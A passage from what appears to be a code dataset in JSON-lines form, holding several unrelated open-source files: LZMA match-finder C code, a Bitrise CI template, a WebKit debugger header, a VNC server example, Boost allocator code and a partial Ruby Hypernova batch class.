historySize;\n p->hashSizeSum = hs;\n p->cyclicBufferSize = newCyclicBufferSize;\n p->numSons = (p->btMode ? newCyclicBufferSize * 2 : newCyclicBufferSize);\n newSize = p->hashSizeSum + p->numSons;\n if (p->hash != 0 && prevSize == newSize)\n return 1;\n MatchFinder_FreeThisClassMemory(p, alloc);\n p->hash = AllocRefs(newSize, alloc);\n if (p->hash != 0)\n {\n p->son = p->hash + p->hashSizeSum;\n return 1;\n }\n }\n }\n MatchFinder_Free(p, alloc);\n return 0;\n}\n\nstatic void MatchFinder_SetLimits(CMatchFinder *p)\n{\n UInt32 limit = kMaxValForNormalize - p->pos;\n UInt32 limit2 = p->cyclicBufferSize - p->cyclicBufferPos;\n if (limit2 < limit)\n limit = limit2;\n limit2 = p->streamPos - p->pos;\n if (limit2 <= p->keepSizeAfter)\n {\n if (limit2 > 0)\n limit2 = 1;\n }\n else\n limit2 -= p->keepSizeAfter;\n if (limit2 < limit)\n limit = limit2;\n {\n UInt32 lenLimit = p->streamPos - p->pos;\n if (lenLimit > p->matchMaxLen)\n lenLimit = p->matchMaxLen;\n p->lenLimit = lenLimit;\n }\n p->posLimit = p->pos + limit;\n}\n\nvoid MatchFinder_Init(CMatchFinder *p)\n{\n UInt32 i;\n for (i = 0; i < p->hashSizeSum; i++)\n p->hash[i] = kEmptyHashValue;\n p->cyclicBufferPos = 0;\n p->buffer = p->bufferBase;\n p->pos = p->streamPos = p->cyclicBufferSize;\n p->result = SZ_OK;\n p->streamEndWasReached = 0;\n MatchFinder_ReadBlock(p);\n MatchFinder_SetLimits(p);\n}\n\nstatic UInt32 MatchFinder_GetSubValue(CMatchFinder *p)\n{\n return (p->pos - p->historySize - 1) & kNormalizeMask;\n}\n\nvoid MatchFinder_Normalize3(UInt32 subValue, CLzRef *items, UInt32 numItems)\n{\n UInt32 i;\n for (i = 0; i < numItems; i++)\n {\n UInt32 value = items[i];\n if (value <= subValue)\n value = kEmptyHashValue;\n else\n value -= subValue;\n items[i] = value;\n }\n}\n\nstatic void MatchFinder_Normalize(CMatchFinder *p)\n{\n UInt32 subValue = MatchFinder_GetSubValue(p);\n MatchFinder_Normalize3(subValue, p->hash, p->hashSizeSum + p->numSons);\n MatchFinder_ReduceOffsets(p, subValue);\n}\n\nstatic void MatchFinder_CheckLimits(CMatchFinder *p)\n{\n if (p->pos == kMaxValForNormalize)\n MatchFinder_Normalize(p);\n if (!p->streamEndWasReached && p->keepSizeAfter == p->streamPos - p->pos)\n MatchFinder_CheckAndMoveAndRead(p);\n if (p->cyclicBufferPos == p->cyclicBufferSize)\n p->cyclicBufferPos = 0;\n MatchFinder_SetLimits(p);\n}\n\nstatic UInt32 * Hc_GetMatchesSpec(UInt32 lenLimit, UInt32 curMatch, UInt32 pos, const Byte *cur, CLzRef *son,\n UInt32 _cyclicBufferPos, UInt32 _cyclicBufferSize, UInt32 cutValue,\n UInt32 *distances, UInt32 maxLen)\n{\n son[_cyclicBufferPos] = curMatch;\n for (;;)\n {\n UInt32 delta = pos - curMatch;\n if (cutValue-- == 0 || delta >= _cyclicBufferSize)\n return distances;\n {\n const Byte *pb = cur - delta;\n curMatch = son[_cyclicBufferPos - delta + ((delta > _cyclicBufferPos) ? _cyclicBufferSize : 0)];\n if (pb[maxLen] == cur[maxLen] && *pb == *cur)\n {\n UInt32 len = 0;\n while (++len != lenLimit)\n if (pb[len] != cur[len])\n break;\n if (maxLen < len)\n {\n *distances++ = maxLen = len;\n *distances++ = delta - 1;\n if (len == lenLimit)\n return distances;\n }\n }\n }\n }\n}\n\nUInt32 * GetMatchesSpec1(UInt32 lenLimit, UInt32 curMatch, UInt32 pos, const Byte *cur, CLzRef *son,\n UInt32 _cyclicBufferPos, UInt32 _cyclicBufferSize, UInt32 cutValue,\n UInt32 *distances, UInt32 maxLen)\n{\n CLzRef *ptr0 = son + (_cyclicBufferPos << 1) + 1;\n CLzRef *ptr1 = son + (_cyclicBufferPos << 1);\n UInt32 len0 = 0, len1 = 0;\n for (;;)\n {\n UInt32 delta = pos - curMatch;\n if (cutValue-- == 0 || delta >= _cyclicBufferSize)\n {\n *ptr0 = *ptr1 = kEmptyHashValue;\n return distances;\n }\n {\n CLzRef *pair = son + ((_cyclicBufferPos - delta + ((delta > _cyclicBufferPos) ? _cyclicBufferSize : 0)) << 1);\n const Byte *pb = cur - delta;\n UInt32 len = (len0 < len1 ? len0 : len1);\n if (pb[len] == cur[len])\n {\n if (++len != lenLimit && pb[len] == cur[len])\n while (++len != lenLimit)\n if (pb[len] != cur[len])\n break;\n if (maxLen < len)\n {\n *distances++ = maxLen = len;\n *distances++ = delta - 1;\n if (len == lenLimit)\n {\n *ptr1 = pair[0];\n *ptr0 = pair[1];\n return distances;\n }\n }\n }\n if (pb[len] < cur[len])\n {\n *ptr1 = curMatch;\n ptr1 = pair + 1;\n curMatch = *ptr1;\n len1 = len;\n }\n else\n {\n *ptr0 = curMatch;\n ptr0 = pair;\n curMatch = *ptr0;\n len0 = len;\n }\n }\n }\n}\n\nstatic void SkipMatchesSpec(UInt32 lenLimit, UInt32 curMatch, UInt32 pos, const Byte *cur, CLzRef *son,\n UInt32 _cyclicBufferPos, UInt32 _cyclicBufferSize, UInt32 cutValue)\n{\n CLzRef *ptr0 = son + (_cyclicBufferPos << 1) + 1;\n CLzRef *ptr1 = son + (_cyclicBufferPos << 1);\n UInt32 len0 = 0, len1 = 0;\n for (;;)\n {\n UInt32 delta = pos - curMatch;\n if (cutValue-- == 0 || delta >= _cyclicBufferSize)\n {\n *ptr0 = *ptr1 = kEmptyHashValue;\n return;\n }\n {\n CLzRef *pair = son + ((_cyclicBufferPos - delta + ((delta > _cyclicBufferPos) ? _cyclicBufferSize : 0)) << 1);\n const Byte *pb = cur - delta;\n UInt32 len = (len0 < len1 ? len0 : len1);\n if (pb[len] == cur[len])\n {\n while (++len != lenLimit)\n if (pb[len] != cur[len])\n break;\n {\n if (len == lenLimit)\n {\n *ptr1 = pair[0];\n *ptr0 = pair[1];\n return;\n }\n }\n }\n if (pb[len] < cur[len])\n {\n *ptr1 = curMatch;\n ptr1 = pair + 1;\n curMatch = *ptr1;\n len1 = len;\n }\n else\n {\n *ptr0 = curMatch;\n ptr0 = pair;\n curMatch = *ptr0;\n len0 = len;\n }\n }\n }\n}\n\n#define MOVE_POS \\\n ++p->cyclicBufferPos; \\\n p->buffer++; \\\n if (++p->pos == p->posLimit) MatchFinder_CheckLimits(p);\n\n#define MOVE_POS_RET MOVE_POS return offset;\n\nstatic void MatchFinder_MovePos(CMatchFinder *p) { MOVE_POS; }\n\n#define GET_MATCHES_HEADER2(minLen, ret_op) \\\n UInt32 lenLimit; UInt32 hashValue; const Byte *cur; UInt32 curMatch; \\\n lenLimit = p->lenLimit; { if (lenLimit < minLen) { MatchFinder_MovePos(p); ret_op; }} \\\n cur = p->buffer;\n\n#define GET_MATCHES_HEADER(minLen) GET_MATCHES_HEADER2(minLen, return 0)\n#define SKIP_HEADER(minLen) GET_MATCHES_HEADER2(minLen, continue)\n\n#define MF_PARAMS(p) p->pos, p->buffer, p->son, p->cyclicBufferPos, p->cyclicBufferSize, p->cutValue\n\n#define GET_MATCHES_FOOTER(offset, maxLen) \\\n offset = (UInt32)(GetMatchesSpec1(lenLimit, curMatch, MF_PARAMS(p), \\\n distances + offset, maxLen) - distances); MOVE_POS_RET;\n\n#define SKIP_FOOTER \\\n SkipMatchesSpec(lenLimit, curMatch, MF_PARAMS(p)); MOVE_POS;\n\nstatic UInt32 Bt2_MatchFinder_GetMatches(CMatchFinder *p, UInt32 *distances)\n{\n UInt32 offset;\n GET_MATCHES_HEADER(2)\n HASH2_CALC;\n curMatch = p->hash[hashValue];\n p->hash[hashValue] = p->pos;\n offset = 0;\n GET_MATCHES_FOOTER(offset, 1)\n}\n\nUInt32 Bt3Zip_MatchFinder_GetMatches(CMatchFinder *p, UInt32 *distances)\n{\n UInt32 offset;\n GET_MATCHES_HEADER(3)\n HASH_ZIP_CALC;\n curMatch = p->hash[hashValue];\n p->hash[hashValue] = p->pos;\n offset = 0;\n GET_MATCHES_FOOTER(offset, 2)\n}\n\nstatic UInt32 Bt3_MatchFinder_GetMatches(CMatchFinder *p, UInt32 *distances)\n{\n UInt32 hash2Value, delta2, maxLen, offset;\n GET_MATCHES_HEADER(3)\n\n HASH3_CALC;\n\n delta2 = p->pos - p->hash[hash2Value];\n curMatch = p->hash[kFix3HashSize + hashValue];\n\n p->hash[hash2Value] =\n p->hash[kFix3HashSize + hashValue] = p->pos;\n\n maxLen = 2;\n offset = 0;\n if (delta2 < p->cyclicBufferSize && *(cur - delta2) == *cur)\n {\n for (; maxLen != lenLimit; maxLen++)\n if (cur[(ptrdiff_t)maxLen - delta2] != cur[maxLen])\n break;\n distances[0] = maxLen;\n distances[1] = delta2 - 1;\n offset = 2;\n if (maxLen == lenLimit)\n {\n SkipMatchesSpec(lenLimit, curMatch, MF_PARAMS(p));\n MOVE_POS_RET;\n }\n }\n GET_MATCHES_FOOTER(offset, maxLen)\n}\n\nstatic UInt32 Bt4_MatchFinder_GetMatches(CMatchFinder *p, UInt32 *distances)\n{\n UInt32 hash2Value, hash3Value, delta2, delta3, maxLen, offset;\n GET_MATCHES_HEADER(4)\n\n HASH4_CALC;\n\n delta2 = p->pos - p->hash[ hash2Value];\n delta3 = p->pos - p->hash[kFix3HashSize + hash3Value];\n curMatch = p->hash[kFix4HashSize + hashValue];\n\n p->hash[ hash2Value] =\n p->hash[kFix3HashSize + hash3Value] =\n p->hash[kFix4HashSize + hashValue] = p->pos;\n\n maxLen = 1;\n offset = 0;\n if (delta2 < p->cyclicBufferSize && *(cur - delta2) == *cur)\n {\n distances[0] = maxLen = 2;\n distances[1] = delta2 - 1;\n offset = 2;\n }\n if (delta2 != delta3 && delta3 < p->cyclicBufferSize && *(cur - delta3) == *cur)\n {\n maxLen = 3;\n distances[offset + 1] = delta3 - 1;\n offset += 2;\n delta2 = delta3;\n }\n if (offset != 0)\n {\n for (; maxLen != lenLimit; maxLen++)\n if (cur[(ptrdiff_t)maxLen - delta2] != cur[maxLen])\n break;\n distances[offset - 2] = maxLen;\n if (maxLen == lenLimit)\n {\n SkipMatchesSpec(lenLimit, curMatch, MF_PARAMS(p));\n MOVE_POS_RET;\n }\n }\n if (maxLen < 3)\n maxLen = 3;\n GET_MATCHES_FOOTER(offset, maxLen)\n}\n\nstatic UInt32 Hc4_MatchFinder_GetMatches(CMatchFinder *p, UInt32 *distances)\n{\n UInt32 hash2Value, hash3Value, delta2, delta3, maxLen, offset;\n GET_MATCHES_HEADER(4)\n\n HASH4_CALC;\n\n delta2 = p->pos - p->hash[ hash2Value];\n delta3 = p->pos - p->hash[kFix3HashSize + hash3Value];\n curMatch = p->hash[kFix4HashSize + hashValue];\n\n p->hash[ hash2Value] =\n p->hash[kFix3HashSize + hash3Value] =\n p->hash[kFix4HashSize + hashValue] = p->pos;\n\n maxLen = 1;\n offset = 0;\n if (delta2 < p->cyclicBufferSize && *(cur - delta2) == *cur)\n {\n distances[0] = maxLen = 2;\n distances[1] = delta2 - 1;\n offset = 2;\n }\n if (delta2 != delta3 && delta3 < p->cyclicBufferSize && *(cur - delta3) == *cur)\n {\n maxLen = 3;\n distances[offset + 1] = delta3 - 1;\n offset += 2;\n delta2 = delta3;\n }\n if (offset != 0)\n {\n for (; maxLen != lenLimit; maxLen++)\n if (cur[(ptrdiff_t)maxLen - delta2] != cur[maxLen])\n break;\n distances[offset - 2] = maxLen;\n if (maxLen == lenLimit)\n {\n p->son[p->cyclicBufferPos] = curMatch;\n MOVE_POS_RET;\n }\n }\n if (maxLen < 3)\n maxLen = 3;\n offset = (UInt32)(Hc_GetMatchesSpec(lenLimit, curMatch, MF_PARAMS(p),\n distances + offset, maxLen) - (distances));\n MOVE_POS_RET\n}\n\nUInt32 Hc3Zip_MatchFinder_GetMatches(CMatchFinder *p, UInt32 *distances)\n{\n UInt32 offset;\n GET_MATCHES_HEADER(3)\n HASH_ZIP_CALC;\n curMatch = p->hash[hashValue];\n p->hash[hashValue] = p->pos;\n offset = (UInt32)(Hc_GetMatchesSpec(lenLimit, curMatch, MF_PARAMS(p),\n distances, 2) - (distances));\n MOVE_POS_RET\n}\n\nstatic void Bt2_MatchFinder_Skip(CMatchFinder *p, UInt32 num)\n{\n do\n {\n SKIP_HEADER(2)\n HASH2_CALC;\n curMatch = p->hash[hashValue];\n p->hash[hashValue] = p->pos;\n SKIP_FOOTER\n }\n while (--num != 0);\n}\n\nvoid Bt3Zip_MatchFinder_Skip(CMatchFinder *p, UInt32 num)\n{\n do\n {\n SKIP_HEADER(3)\n HASH_ZIP_CALC;\n curMatch = p->hash[hashValue];\n p->hash[hashValue] = p->pos;\n SKIP_FOOTER\n }\n while (--num != 0);\n}\n\nstatic void Bt3_MatchFinder_Skip(CMatchFinder *p, UInt32 num)\n{\n do\n {\n UInt32 hash2Value;\n SKIP_HEADER(3)\n HASH3_CALC;\n curMatch = p->hash[kFix3HashSize + hashValue];\n p->hash[hash2Value] =\n p->hash[kFix3HashSize + hashValue] = p->pos;\n SKIP_FOOTER\n }\n while (--num != 0);\n}\n\nstatic void Bt4_MatchFinder_Skip(CMatchFinder *p, UInt32 num)\n{\n do\n {\n UInt32 hash2Value, hash3Value;\n SKIP_HEADER(4)\n HASH4_CALC;\n curMatch = p->hash[kFix4HashSize + hashValue];\n p->hash[ hash2Value] =\n p->hash[kFix3HashSize + hash3Value] = p->pos;\n p->hash[kFix4HashSize + hashValue] = p->pos;\n SKIP_FOOTER\n }\n while (--num != 0);\n}\n\nstatic void Hc4_MatchFinder_Skip(CMatchFinder *p, UInt32 num)\n{\n do\n {\n UInt32 hash2Value, hash3Value;\n SKIP_HEADER(4)\n HASH4_CALC;\n curMatch = p->hash[kFix4HashSize + hashValue];\n p->hash[ hash2Value] =\n p->hash[kFix3HashSize + hash3Value] =\n p->hash[kFix4HashSize + hashValue] = p->pos;\n p->son[p->cyclicBufferPos] = curMatch;\n MOVE_POS\n }\n while (--num != 0);\n}\n\nvoid Hc3Zip_MatchFinder_Skip(CMatchFinder *p, UInt32 num)\n{\n do\n {\n SKIP_HEADER(3)\n HASH_ZIP_CALC;\n curMatch = p->hash[hashValue];\n p->hash[hashValue] = p->pos;\n p->son[p->cyclicBufferPos] = curMatch;\n MOVE_POS\n }\n while (--num != 0);\n}\n\nvoid MatchFinder_CreateVTable(CMatchFinder *p, IMatchFinder *vTable)\n{\n vTable->Init = (Mf_Init_Func)MatchFinder_Init;\n vTable->GetIndexByte = (Mf_GetIndexByte_Func)MatchFinder_GetIndexByte;\n vTable->GetNumAvailableBytes = (Mf_GetNumAvailableBytes_Func)MatchFinder_GetNumAvailableBytes;\n vTable->GetPointerToCurrentPos = (Mf_GetPointerToCurrentPos_Func)MatchFinder_GetPointerToCurrentPos;\n if (!p->btMode)\n {\n vTable->GetMatches = (Mf_GetMatches_Func)Hc4_MatchFinder_GetMatches;\n vTable->Skip = (Mf_Skip_Func)Hc4_MatchFinder_Skip;\n }\n else if (p->numHashBytes == 2)\n {\n vTable->GetMatches = (Mf_GetMatches_Func)Bt2_MatchFinder_GetMatches;\n vTable->Skip = (Mf_Skip_Func)Bt2_MatchFinder_Skip;\n }\n else if (p->numHashBytes == 3)\n {\n vTable->GetMatches = (Mf_GetMatches_Func)Bt3_MatchFinder_GetMatches;\n vTable->Skip = (Mf_Skip_Func)Bt3_MatchFinder_Skip;\n }\n else\n {\n vTable->GetMatches = (Mf_GetMatches_Func)Bt4_MatchFinder_GetMatches;\n vTable->Skip = (Mf_Skip_Func)Bt4_MatchFinder_Skip;\n }\n}"} +{"text": "format_version: 1.3.0\ndefault_step_lib_source: https://github.com/bitrise-io/bitrise-steplib.git\n\ntitle: Template configuration.\nsummary: |-\n Template 'bitrise.yml', generated by 'bitrise init'.\ndescription: |-\n Configuration (environments) specified in 'app' will be available\n for every workflow.\n\n The Trigger Map ('trigger_map') defines mapping between trigger patterns\n and workflows.\n You can run workflows directly with bitrise: bitrise run workflow-name\n Or you can 'trigger' a build: bitrise trigger some-pattern\n\n With this example 'trigger_map' if you 'bitrise trigger test'\n or 'bitrise trigger test-1' or specify any other pattern\n which starts with 'test' then the 'test' workflow will be used.\n In any other case (ex: 'bitrise trigger something-else') the\n workflow called 'fallback' will be used.\n\n Workflows ('workflows') are where you can define different, separate scenarios,\n which you can then 'bitrise run' or 'bitrise trigger'.\n\napp:\n envs:\n - BITRISE_APP_TITLE: \"lesson_6\"\n - BITRISE_DEV_BRANCH: \"master\"\n\ntrigger_map:\n- pattern: test**\n is_pull_request_allowed: true\n workflow: test\n- pattern: \"**feature**\"\n is_pull_request_allowed: true\n workflow: feature\n- pattern: \"**develop\"\n is_pull_request_allowed: true\n workflow: develop\n- pattern: master\n is_pull_request_allowed: true\n workflow: master\n- pattern: \"*\"\n is_pull_request_allowed: true\n workflow: fallback\n\nworkflows:\n test:\n steps:\n - script:\n title: Fallback\n inputs:\n - content: |-\n #!/bin/bash\n echo \"This is the test workflow, used\"\n echo \" if you 'bitrise trigger' a build and the pattern\"\n echo \" starts with \"test\"\"\n feature:\n steps:\n - script:\n title: Fallback\n inputs:\n - content: |-\n #!/bin/bash\n echo \"This is the feature workflow, used\"\n echo \" if you 'bitrise trigger' a build and the pattern\"\n echo \" contains the \"feature\" expression\"\n develop:\n steps:\n - script:\n title: Fallback\n inputs:\n - content: |-\n #!/bin/bash\n echo \"This is a the develop workflow, used\"\n echo \" if you 'bitrise trigger' a build and the pattern\"\n echo \" ends with the \"develop\" expression\"\n master:\n steps:\n - script:\n title: Fallback\n inputs:\n - content: |-\n #!/bin/bash\n echo \"This is a the master workflow, used\"\n echo \" if you 'bitrise trigger' a build and the pattern\"\n echo \" matches the \"master\" pattern in the trigger_map\"\n fallback:\n steps:\n - script:\n title: Fallback\n inputs:\n - content: |-\n #!/bin/bash\n echo \"This is a the fallback workflow, used\"\n echo \" if you 'bitrise trigger' a build but the pattern\"\n echo \" does not match any other pattern in the trigger_map\"\n"} +{"text": "/*\r\n * Copyright (C) 2008 Apple Inc. All rights reserved.\r\n * Copyright (C) 2010 Google Inc. All rights reserved.\r\n *\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions\r\n * are met:\r\n *\r\n * 1. Redistributions of source code must retain the above copyright\r\n * notice, this list of conditions and the following disclaimer.\r\n * 2. Redistributions in binary form must reproduce the above copyright\r\n * notice, this list of conditions and the following disclaimer in the\r\n * documentation and/or other materials provided with the distribution.\r\n * 3. Neither the name of Apple Computer, Inc. (\"Apple\") nor the names of\r\n * its contributors may be used to endorse or promote products derived\r\n * from this software without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS \"AS IS\" AND ANY\r\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\r\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\n * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY\r\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\r\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\r\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\r\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\r\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\r\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n */\r\n\r\n#ifndef ScriptDebugListener_h\r\n#define ScriptDebugListener_h\r\n\r\n#if ENABLE(JAVASCRIPT_DEBUGGER)\r\n\r\n#include \"PlatformString.h\"\r\n#include \"ScriptState.h\"\r\n#include \r\n\r\nnamespace WebCore {\r\nclass ScriptValue;\r\n\r\nclass ScriptDebugListener {\r\npublic:\r\n class Script {\r\n public:\r\n Script()\r\n : startLine(0)\r\n , startColumn(0)\r\n , endLine(0)\r\n , endColumn(0)\r\n , isContentScript(false)\r\n {\r\n }\r\n\r\n String url;\r\n String source;\r\n String sourceMappingURL;\r\n int startLine;\r\n int startColumn;\r\n int endLine;\r\n int endColumn;\r\n bool isContentScript;\r\n };\r\n\r\n virtual ~ScriptDebugListener() { }\r\n\r\n virtual void didParseSource(const String& scriptId, const Script&) = 0;\r\n virtual void failedToParseSource(const String& url, const String& data, int firstLine, int errorLine, const String& errorMessage) = 0;\r\n virtual void didPause(ScriptState*, const ScriptValue& callFrames, const ScriptValue& exception) = 0;\r\n virtual void didContinue() = 0;\r\n};\r\n\r\n} // namespace WebCore\r\n\r\n#endif // ENABLE(JAVASCRIPT_DEBUGGER)\r\n\r\n#endif // ScriptDebugListener_h\r\n"} +{"text": "#include \n\n\nint main(int argc,char** argv)\n{\n int i;\n uint8_t bytes[256*3];\n\n rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,256,256,8,1,1);\n if(!server)\n return 0;\n server->serverFormat.trueColour=FALSE;\n server->colourMap.count=256;\n server->colourMap.is16=FALSE;\n for(i=0;i<256;i++) {\n bytes[i*3+0]=255-i; /* red */\n bytes[i*3+1]=0; /* green */\n bytes[i*3+2]=i; /* blue */\n }\n bytes[128*3+0]=0xff;\n bytes[128*3+1]=0;\n bytes[128*3+2]=0;\n server->colourMap.data.bytes=bytes;\n\n server->frameBuffer=(char*)malloc(256*256);\n for(i=0;i<256*256;i++)\n server->frameBuffer[i]=(i/256);\n\n rfbInitServer(server);\n rfbRunEventLoop(server,-1,FALSE);\n\n return(0);\n}\n"} +{"text": "//-----------------------------------------------------------------------------\n//\n// Copyright (C) 2015-2017 David Hill\n//\n// See COPYING for license information.\n//\n//-----------------------------------------------------------------------------\n//\n// Script class.\n//\n//-----------------------------------------------------------------------------\n\n#include \"Script.hpp\"\n\n#include \"Environment.hpp\"\n#include \"Module.hpp\"\n\n\n//----------------------------------------------------------------------------|\n// Extern Fumnctions |\n//\n\nnamespace ACSVM\n{\n //\n // Script constructor\n //\n Script::Script(Module *module_) :\n module{module_},\n\n name{},\n\n argC {0},\n codeIdx{0},\n flags {0},\n locArrC{0},\n locRegC{module->env->scriptLocRegC},\n type {0},\n\n flagClient{false},\n flagNet {false}\n {\n }\n\n //\n // Script destructor\n //\n Script::~Script()\n {\n }\n}\n\n// EOF\n\n"} +{"text": "{\n \"description\": \"Element content replacement - NEGATED type element selector with declared namespace (css3-modsel-118)\",\n \"selectors\": {\n \"*|p, *|l\": \"css3-modsel-118.expected0.html\",\n \"div.test *\": \"css3-modsel-118.expected1.html\"\n },\n \"src\": \"css3-modsel-118.src.html\"\n}"} +{"text": "//////////////////////////////////////////////////////////////////////////////\r\n//\r\n// (C) Copyright Ion Gaztanaga 2015-2015. Distributed under the Boost\r\n// Software License, Version 1.0. (See accompanying file\r\n// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\r\n//\r\n// See http://www.boost.org/libs/container for documentation.\r\n//\r\n//////////////////////////////////////////////////////////////////////////////\r\n\r\n#ifndef BOOST_CONTAINER_PMR_POLYMORPHIC_ALLOCATOR_HPP\r\n#define BOOST_CONTAINER_PMR_POLYMORPHIC_ALLOCATOR_HPP\r\n\r\n#if defined (_MSC_VER)\r\n# pragma once \r\n#endif\r\n\r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n\r\n#include \r\n\r\nnamespace boost {\r\nnamespace container {\r\nnamespace pmr {\r\n\r\n//! A specialization of class template `polymorphic_allocator` conforms to the Allocator requirements.\r\n//! Constructed with different memory resources, different instances of the same specialization of\r\n//! `polymorphic_allocator` can exhibit entirely different allocation behavior. This runtime\r\n//! polymorphism allows objects that use polymorphic_allocator to behave as if they used different\r\n//! allocator types at run time even though they use the same static allocator type.\r\ntemplate \r\nclass polymorphic_allocator\r\n{\r\n public:\r\n typedef T value_type;\r\n\r\n //! Effects: Sets m_resource to\r\n //! `get_default_resource()`.\r\n polymorphic_allocator() BOOST_NOEXCEPT\r\n : m_resource(::boost::container::pmr::get_default_resource())\r\n {}\r\n\r\n //! Requires: r is non-null.\r\n //!\r\n //! Effects: Sets m_resource to r.\r\n //!\r\n //! Throws: Nothing\r\n //!\r\n //! Notes: This constructor provides an implicit conversion from memory_resource*.\r\n //! Non-standard extension: if r is null m_resource is set to get_default_resource().\r\n polymorphic_allocator(memory_resource* r)\r\n : m_resource(r ? r : ::boost::container::pmr::get_default_resource())\r\n {}\r\n\r\n //! Effects: Sets m_resource to\r\n //! other.resource().\r\n polymorphic_allocator(const polymorphic_allocator& other)\r\n : m_resource(other.m_resource)\r\n {}\r\n\r\n //! Effects: Sets m_resource to\r\n //! other.resource().\r\n template \r\n polymorphic_allocator(const polymorphic_allocator& other) BOOST_NOEXCEPT\r\n : m_resource(other.resource())\r\n {}\r\n\r\n //! Effects: Sets m_resource to\r\n //! other.resource().\r\n polymorphic_allocator& operator=(const polymorphic_allocator& other)\r\n { m_resource = other.m_resource; return *this; }\r\n\r\n //! Returns: Equivalent to\r\n //! `static_cast(m_resource->allocate(n * sizeof(T), alignof(T)))`.\r\n T* allocate(size_t n)\r\n { return static_cast(m_resource->allocate(n*sizeof(T), ::boost::move_detail::alignment_of::value)); }\r\n\r\n //! Requires: p was allocated from a memory resource, x, equal to *m_resource,\r\n //! using `x.allocate(n * sizeof(T), alignof(T))`.\r\n //!\r\n //! Effects: Equivalent to m_resource->deallocate(p, n * sizeof(T), alignof(T)).\r\n //!\r\n //! Throws: Nothing.\r\n void deallocate(T* p, size_t n)\r\n { m_resource->deallocate(p, n*sizeof(T), ::boost::move_detail::alignment_of::value); }\r\n\r\n #if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) || defined(BOOST_CONTAINER_DOXYGEN_INVOKED)\r\n //! Requires: Uses-allocator construction of T with allocator\r\n //! `this->resource()` and constructor arguments `std::forward(args)...`\r\n //! is well-formed. [Note: uses-allocator construction is always well formed for\r\n //! types that do not use allocators. - end note]\r\n //!\r\n //! Effects: Construct a T object at p by uses-allocator construction with allocator\r\n //! `this->resource()` and constructor arguments `std::forward(args)...`.\r\n //!\r\n //! Throws: Nothing unless the constructor for T throws.\r\n template < typename U, class ...Args>\r\n void construct(U* p, BOOST_FWD_REF(Args)...args)\r\n {\r\n new_allocator na;\r\n container_detail::dispatch_uses_allocator\r\n (na, this->resource(), p, ::boost::forward(args)...);\r\n }\r\n\r\n #else // #if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) || defined(BOOST_CONTAINER_DOXYGEN_INVOKED)\r\n\r\n //Disable this overload if the first argument is pair as some compilers have\r\n //overload selection problems when the first parameter is a pair.\r\n #define BOOST_CONTAINER_PMR_POLYMORPHIC_ALLOCATOR_CONSTRUCT_CODE(N) \\\r\n template < typename U BOOST_MOVE_I##N BOOST_MOVE_CLASSQ##N >\\\r\n void construct(U* p BOOST_MOVE_I##N BOOST_MOVE_UREFQ##N)\\\r\n {\\\r\n new_allocator na;\\\r\n container_detail::dispatch_uses_allocator\\\r\n (na, this->resource(), p BOOST_MOVE_I##N BOOST_MOVE_FWDQ##N);\\\r\n }\\\r\n //\r\n BOOST_MOVE_ITERATE_0TO9(BOOST_CONTAINER_PMR_POLYMORPHIC_ALLOCATOR_CONSTRUCT_CODE)\r\n #undef BOOST_CONTAINER_PMR_POLYMORPHIC_ALLOCATOR_CONSTRUCT_CODE\r\n\r\n #endif //#if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) || defined(BOOST_CONTAINER_DOXYGEN_INVOKED)\r\n\r\n //! Effects:\r\n //! p->~U().\r\n template \r\n void destroy(U* p)\r\n { (void)p; p->~U(); }\r\n\r\n //! Returns: Equivalent to\r\n //! `polymorphic_allocator()`.\r\n polymorphic_allocator select_on_container_copy_construction() const\r\n { return polymorphic_allocator(); }\r\n\r\n //! Returns:\r\n //! m_resource.\r\n memory_resource* resource() const\r\n { return m_resource; }\r\n\r\n private:\r\n memory_resource* m_resource;\r\n};\r\n\r\n//! Returns:\r\n//! `*a.resource() == *b.resource()`.\r\ntemplate \r\nbool operator==(const polymorphic_allocator& a, const polymorphic_allocator& b) BOOST_NOEXCEPT\r\n{ return *a.resource() == *b.resource(); }\r\n\r\n\r\n//! Returns:\r\n//! `! (a == b)`.\r\ntemplate \r\nbool operator!=(const polymorphic_allocator& a, const polymorphic_allocator& b) BOOST_NOEXCEPT\r\n{ return *a.resource() != *b.resource(); }\r\n\r\n} //namespace pmr {\r\n} //namespace container {\r\n} //namespace boost {\r\n\r\n#endif //BOOST_CONTAINER_PMR_POLYMORPHIC_ALLOCATOR_HPP\r\n"} +{"text": "\n \n \n \n \n \n \n \n \n"} +{"text": "require 'forwardable'\n\nmodule Hypernova\n class Batch\n extend Forwardable\n\n attr_accessor :service\n attr_reader :jobs\n\n def_delegators :jobs, :empty?\n\n ##\n # @param service the Hypernova backend service to use for render_react_batch\n # The only requirement for the `service` object is the method render_react_batch\n # which should accept a Hash of { job_token :: Scalar => job_data :: Hash }\n # the subscript operator, to access result via tokens\n def initialize(service)\n # TODO: make hashmap instead????\n @jobs = []\n @service = service\n end\n\n def render(job)\n Hypernova.verify_job_shape(job)\n token = jobs.length\n jobs << job\n token.to_s\n end\n\n def submit!\n service.render_batch(jobs_hash)\n end\n\n def submit_fallback!\n service.render_batch_blank(jobs_hash)\n end\n\n private\n\n attr_reader :service\n\n # creates a hash with each index mapped to the value at that 